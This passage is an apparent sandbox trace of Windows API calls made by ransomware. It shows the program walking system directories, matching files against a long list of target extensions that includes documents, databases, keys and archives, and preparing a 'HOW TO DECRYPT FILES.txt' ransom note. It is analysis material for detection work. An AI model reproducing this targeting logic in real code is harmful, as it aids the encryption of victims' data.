(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.txt") returned 0 [0111.387] lstrlenA (lpString="*.txt") returned 5 [0111.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.jpeg") returned 0 [0111.387] lstrlenA (lpString="*.jpeg") returned 6 [0111.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.jpg") returned 0 [0111.387] lstrlenA (lpString="*.jpg") returned 5 [0111.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.png") returned 0 [0111.387] lstrlenA (lpString="*.png") returned 5 [0111.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.php") returned 0 [0111.388] lstrlenA (lpString="*.php") returned 5 [0111.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.cs") returned 0 [0111.388] lstrlenA (lpString="*.cs") returned 4 [0111.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.cpp") returned 0 [0111.388] lstrlenA (lpString="*.cpp") returned 5 [0111.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.rar") returned 0 [0111.388] lstrlenA (lpString="*.rar") returned 5 [0111.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.zip") returned 0 [0111.388] lstrlenA (lpString="*.zip") returned 5 [0111.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.html") returned 0 [0111.388] lstrlenA (lpString="*.html") returned 6 [0111.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.htm") returned 0 [0111.388] lstrlenA (lpString="*.htm") returned 5 [0111.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.xlsx") returned 0 [0111.388] lstrlenA (lpString="*.xlsx") returned 6 [0111.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.xls") returned 0 [0111.388] lstrlenA (lpString="*.xls") returned 5 [0111.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mp4") returned 0 [0111.388] lstrlenA (lpString="*.mp4") returned 5 [0111.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.ppt") returned 0 [0111.388] lstrlenA (lpString="*.ppt") returned 5 [0111.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.pptx") returned 0 [0111.389] lstrlenA (lpString="*.pptx") returned 6 [0111.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.doc") returned 0 [0111.389] lstrlenA (lpString="*.doc") returned 5 [0111.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.dot") returned 0 [0111.389] lstrlenA (lpString="*.dot") returned 5 [0111.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.docx") returned 0 [0111.389] lstrlenA (lpString="*.docx") returned 6 [0111.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.7z") returned 0 [0111.389] lstrlenA (lpString="*.7z") returned 4 [0111.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.tar") returned 0 [0111.389] lstrlenA (lpString="*.tar") returned 5 [0111.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.bz2") returned 0 [0111.389] lstrlenA (lpString="*.bz2") returned 5 [0111.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.gz") returned 0 [0111.389] lstrlenA (lpString="*.gz") returned 4 [0111.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mkv") returned 0 [0111.389] lstrlenA (lpString="*.mkv") returned 5 [0111.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.eml") returned 0 [0111.389] lstrlenA (lpString="*.eml") returned 5 [0111.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.msg") returned 0 [0111.389] lstrlenA (lpString="*.msg") returned 5 [0111.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.edb") returned 0 [0111.390] lstrlenA (lpString="*.edb") returned 5 [0111.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.accdb") returned 0 [0111.390] lstrlenA (lpString="*.accdb") returned 7 [0111.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.odb") returned 0 [0111.390] lstrlenA (lpString="*.odb") returned 5 [0111.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.java") returned 0 [0111.390] lstrlenA (lpString="*.java") returned 6 [0111.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.asm") returned 0 [0111.390] lstrlenA (lpString="*.asm") returned 5 [0111.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.pfx") returned 0 [0111.390] lstrlenA (lpString="*.pfx") returned 5 [0111.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.pem") returned 0 [0111.390] lstrlenA (lpString="*.pem") returned 5 [0111.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.p12") returned 0 [0111.390] lstrlenA (lpString="*.p12") returned 5 [0111.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.gpg") returned 0 [0111.390] lstrlenA (lpString="*.gpg") returned 5 [0111.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.vsd") returned 0 [0111.390] lstrlenA (lpString="*.vsd") returned 5 [0111.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.odg") returned 0 [0111.390] lstrlenA (lpString="*.odg") returned 5 [0111.390] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.raw") returned 0 [0111.391] lstrlenA (lpString="*.raw") returned 5 [0111.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.nef") returned 0 [0111.391] lstrlenA (lpString="*.nef") returned 5 [0111.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.svg") returned 0 [0111.391] lstrlenA (lpString="*.svg") returned 5 [0111.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.psd") returned 0 [0111.391] lstrlenA (lpString="*.psd") returned 5 [0111.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.vmx") returned 0 [0111.391] lstrlenA (lpString="*.vmx") returned 5 [0111.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.vmdk") returned 0 [0111.391] lstrlenA (lpString="*.vmdk") returned 6 [0111.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.vdi") returned 0 [0111.391] lstrlenA (lpString="*.vdi") returned 5 [0111.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.lay6") returned 0 [0111.391] lstrlenA (lpString="*.lay6") returned 6 [0111.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mpeg") returned 0 [0111.391] lstrlenA (lpString="*.mpeg") returned 6 [0111.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.djvu") returned 0 [0111.391] lstrlenA (lpString="*.djvu") returned 6 [0111.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.tiff") returned 0 [0111.391] lstrlenA (lpString="*.tiff") returned 6 [0111.391] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.backup") returned 0 [0111.392] lstrlenA (lpString="*.backup") returned 8 [0111.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.pdf") returned 0 [0111.392] lstrlenA (lpString="*.pdf") returned 5 [0111.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.cert") returned 0 [0111.392] lstrlenA (lpString="*.cert") returned 6 [0111.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.docm") returned 0 [0111.392] lstrlenA (lpString="*.docm") returned 6 [0111.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.xlsm") returned 0 [0111.392] lstrlenA (lpString="*.xlsm") returned 6 [0111.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.dwg") returned 0 [0111.392] lstrlenA (lpString="*.dwg") returned 5 [0111.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.nd") returned 0 [0111.392] lstrlenA (lpString="*.nd") returned 4 [0111.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.tlg") returned 0 [0111.392] lstrlenA (lpString="*.tlg") returned 5 [0111.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.lgb") returned 0 [0111.392] lstrlenA (lpString="*.lgb") returned 5 [0111.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mov") returned 0 [0111.392] lstrlenA (lpString="*.mov") returned 5 [0111.392] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.xdw") returned 0 [0111.393] lstrlenA (lpString="*.xdw") returned 5 [0111.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.ods") returned 0 [0111.393] lstrlenA (lpString="*.ods") returned 5 [0111.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.wav") returned 0 [0111.393] lstrlenA (lpString="*.wav") returned 5 [0111.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.mp3") returned 0 [0111.393] lstrlenA (lpString="*.mp3") returned 5 [0111.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.aiff") returned 0 [0111.393] lstrlenA (lpString="*.aiff") returned 6 [0111.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.flac") returned 0 [0111.393] lstrlenA (lpString="*.flac") returned 6 [0111.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.m4a") returned 0 [0111.393] lstrlenA (lpString="*.m4a") returned 5 [0111.393] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\03ab7eafba7f39a47e9e50e59551395a\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", pszSpec="*.csv") returned 0 [0111.393] lstrlenA (lpString="*.csv") returned 5 [0111.393] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4c52d8, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd4c52d8, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd4c52d8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagReport.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.393] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.393] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3e0a96, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd3e0a96, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd3e0a96, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="1dd37db07c93d0d49379838760970302", cAlternateFileName="1DD37D~1")) returned 1 [0111.394] lstrcmpA (lpString1=".", lpString2="1dd37db07c93d0d49379838760970302") returned -1 [0111.394] lstrcmpA (lpString1="..", lpString2="1dd37db07c93d0d49379838760970302") returned -1 [0111.394] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\*.*") returned="*.*" [0111.394] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\", lpString2="1dd37db07c93d0d49379838760970302" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302" [0111.394] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302") returned 100 [0111.394] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3e0a96, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd3e0a96, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd3e0a96, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.394] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.394] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3e0a96, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd3e0a96, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd3e0a96, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.394] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.394] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.394] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd3947d6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfd3947d6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfd3947d6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.394] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.395] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll") returned -1 [0111.395] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll") returned -1 [0111.395] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll") returned -1 [0111.395] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\*.*") returned="*.*" [0111.395] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\" [0111.395] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\") returned="" [0111.395] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\HOW TO DECRYPT FILES.txt" [0111.395] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Windows.D#\\1dd37db07c93d0d49379838760970302\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.windows.d#\\1dd37db07c93d0d49379838760970302\\how to decrypt files.txt")) returned 0xffffffff [0111.395] CreateFileA 